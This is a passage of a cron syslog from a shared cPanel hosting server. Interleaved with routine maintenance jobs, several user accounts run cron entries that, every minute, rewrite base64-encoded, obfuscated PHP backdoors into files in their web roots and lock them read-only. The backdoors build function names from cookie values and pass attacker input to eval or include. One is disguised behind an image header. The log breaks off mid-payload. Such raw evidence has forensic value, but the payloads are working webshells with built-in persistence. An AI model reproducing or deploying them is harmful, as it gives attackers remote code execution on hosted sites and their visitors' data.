Mar  1 14:14:01 medusa CROND[24580]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:14:01 medusa CROND[24584]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:14:01 medusa CROND[24585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:14:01 medusa CROND[24592]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:14:01 medusa CROND[24590]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:14:01 medusa CROND[24599]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:15:01 medusa CROND[16894]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:15:02 medusa CROND[16919]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:15:02 medusa CROND[16925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:15:02 medusa CROND[16989]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:15:02 medusa CROND[17133]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:15:02 medusa CROND[17134]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 14:15:02 medusa CROND[17135]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:15:02 medusa CROND[17136]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:15:02 medusa CROND[17137]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  1 14:15:02 medusa CROND[17138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:15:02 medusa CROND[17142]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:15:02 medusa CROND[17139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:15:02 medusa CROND[17140]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 14:15:02 medusa CROND[17149]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:15:02 medusa CROND[17150]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:15:02 medusa CROND[17152]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:15:02 medusa CROND[17154]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 14:15:02 medusa CROND[17156]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:15:02 medusa CROND[17162]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:15:02 medusa CROND[17169]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:15:02 medusa CROND[17171]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:15:02 medusa CROND[17173]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:15:02 medusa CROND[17174]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:15:02 medusa CROND[17175]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:16:02 medusa CROND[9378]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:16:02 medusa CROND[9436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:16:02 medusa CROND[9439]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:16:02 medusa CROND[9440]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:16:02 medusa CROND[9441]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:16:02 medusa CROND[9442]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:16:02 medusa CROND[9443]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogI